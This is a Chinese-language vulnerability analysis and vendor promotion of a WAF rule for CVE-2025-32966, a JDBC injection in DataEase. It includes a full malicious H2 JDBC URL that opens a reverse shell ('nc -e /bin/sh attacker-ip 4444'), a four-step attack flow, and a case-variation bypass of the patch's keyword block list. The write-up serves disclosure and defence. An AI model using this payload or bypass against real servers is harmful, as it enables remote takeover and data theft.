你的 BI 工具正在成为黑客的“提权跳板”:DataEase H2 JDBC 注入漏洞(CVE-2025-32966)深度分析

当你构建的数据源“连接字符串”被黑客精心改造后,它不再是通往数据库的桥梁,而是变成了在服务器上执行任意命令的“遥控器”。近期,开源 BI 工具 DataEase 被曝出存在一个高危漏洞,攻击者仅需一个普通的后台账号,就能在服务器上执行任意代码,甚至直接接管服务器。百度云防护 WAF 已内置针对此漏洞的防御规则(规则 ID 4230),可在代码层修复前提供“虚拟补丁”级的即时拦截。

一、 漏洞速览:高风险 JDBC 注入导致远程代码执行

  • 漏洞名称:DataEase H2 JDBC 连接远程代码执行漏洞
  • CVE 编号:CVE-2025-32966
  • 公开时间:2025 年 4 月下旬
  • CVSS 评分:7.5(高风险)
  • 漏洞类型:JDBC 注入导致远程代码执行
  • 利用前提:普通权限或低权限的认证用户
  • 影响范围:DataEase 2.10.8 之前的所有版本
  • 官方修复:DataEase v2.10.8

二、 拆解攻击链:一个小数点如何撬动整个服务器

2.1 代码层面的漏洞根源

核心代码位于io.dataease.datasource.provider.CalciteProvider#getConnection。该函数处理用户提交的 JDBC 连接串时,未对输入进行严格的安全检查和过滤,直接将用户参数拼接到 H2 数据库的连接配置中。

攻击者可以在后台的“数据源”管理功能中提交恶意字符串,使 H2 数据库“主动”执行恶意代码。

2.2 攻击载荷示例

在 DataEase 后台数据源管理 → 新建数据源,选择 H2 类型,在 JDBC URL 框中替换为一个精心构造的恶意 JDBC URL:

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS IF NOT EXISTS SHELLEXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL SHELLEXEC ('nc -e /bin/sh attacker-ip 4444')

该载荷利用 H2 数据库的 INIT 功能创建了一个别名 SHELLEXEC,其中调用了 Java 的 Runtime.getRuntime().exec(cmd) 来执行系统命令。示例中的 nc -e /bin/sh attacker-ip 4444 是一个反弹 Shell 操作,而 touch /tmp/1 则是创建一个空文件用于测试漏洞是否存在。

2.3 社区后续发现:补丁绕过(CVE-2025-49002)

安全社区后续发现,此前针对 CVE-2025-32966 的黑名单防御(禁止 INITRUNSCRIPT 等关键词)存在明显缺陷。开发者利用 Java 语言对大小写不敏感的特性,将 INIT 替换为 InItINit,即可轻松绕过补丁。真正的彻底修复直到版本 2.10.10 才完成。

2.4 完整的四步攻击流程

  1. 账号获取与权限定位:该漏洞需要登录权限。攻击者可通过钓鱼邮件、信息泄露或利用其他未授权漏洞(如 CVE-2025-49001 导致的认证绕过)获取一个 DataEase 的普通账号。
  2. 准备攻击载荷:在本地或测试环境构造好上述恶意 JDBC URL 后,进行本地验证。
  3. 触发漏洞:登录 DataEase 后台,创建一个新的 H2 数据源,并将 JDBC URL 替换为准备好的恶意字符串。点击“测试连接”或“保存”时,嵌入的恶意代码将在服务器上执行。
  4. 权限扩散:反弹 Shell 建立后,服务器彻底沦陷。攻击者是数据源的“管理员”,可以窃取、删除服务器上的一切数据,并进行横向渗透。

三、 漏洞危害:数据源是船,但 RCE 是岸

漏洞的核心危害是任意代码执行(RCE),CVSS 评分达到 7.5(高风险)。一旦被利用,可能导致:

  • 服务器沦陷:反弹 Shell 获得服务器完全控制权。
  • 数据大屠杀:清除数据库、格式化磁盘,或拖走所有 BI 报表、用户数据集。
  • 勒索与后门:植入挖矿程序或勒索病毒,或留下复活后门。
  • APT 跳板:BI 工具常部署在核心数据区,是攻击者跳向内网的高价值目标。

四、 百度云防护:用户等不到补丁时的“安全底牌”

关键的问题来了:在官方的补丁或版本升级落地前,怎么防?

4.1 内置规则,默认可拦截

根据百度云防护最新规则库更新,其 WAF 已内置针对此漏洞的专项检测规则:

规则名称规则 ID风险等级防护类型受影响组件
Cmd_exec.CVE-2025-32966.A4230高风险命令执行DataEase(H2 JDBC)

这条规则是百度云防护 4 月下旬大规模规则库更新的一部分,由百度安全团队在漏洞细节公开后迅速上线。

4.2 规则的精准防御机制

规则 4230 通过监控对/de2api/datasource/validate等后台数据源校验接口的请求流量,精准识别并拦截针对 CVE-2025-32966 的攻击尝试。

无论攻击者使用 SQL 关键词变形(如 INIT 写成 InIt 以绕过补丁),还是极长的混淆字符串,攻击流量中都会包含试图创建恶意别名并执行系统命令的异常参数。WAF 可根据语义特征而非简单的黑名单,在毫秒内判定并拦截该恶意请求。

4.3 为什么 WAF 防御优于等待补丁?

  • 时间差:官方修复版 2.10.8 存在可被绕过的隐患,2.10.10 版本才真正修复。普通用户等待升级的空窗期可能长达数月。
  • 风险隔离:即使攻击者拿到普通账号,只要 WAF 开启,恶意 JDBC 连接串在到达服务器前就会被阻断。
  • 成本可控:百度云防护采用套餐计费,用完即停,不会因被攻击而产生天价后付费账单。

五、 企业应急响应建议

措施优先级说明
开启百度云防护 WAF,确认规则 ID 4230 为拦截状态最高即刻为服务器套上“虚拟补丁”,作为修复前的第一道防线
升级 DataEase升级至最新的 v2.10.14 版本或以上
权限缩窄检查所有非管理员账号,禁用不必要的 API 接口,最小化 JWT 令牌的权限范围
监控与阻断在 WAF 或防火墙中严密监控对 datasource/validate 等关键 API 路径的异常访问

如果你的团队无法立即升级版本,请马上联系主机吧的技术工程师,我们将协助你快速接入百度云防护并开启针对 DataEase 漏洞的拦截规则。

给TA打赏
共{{data.count}}人
人已打赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧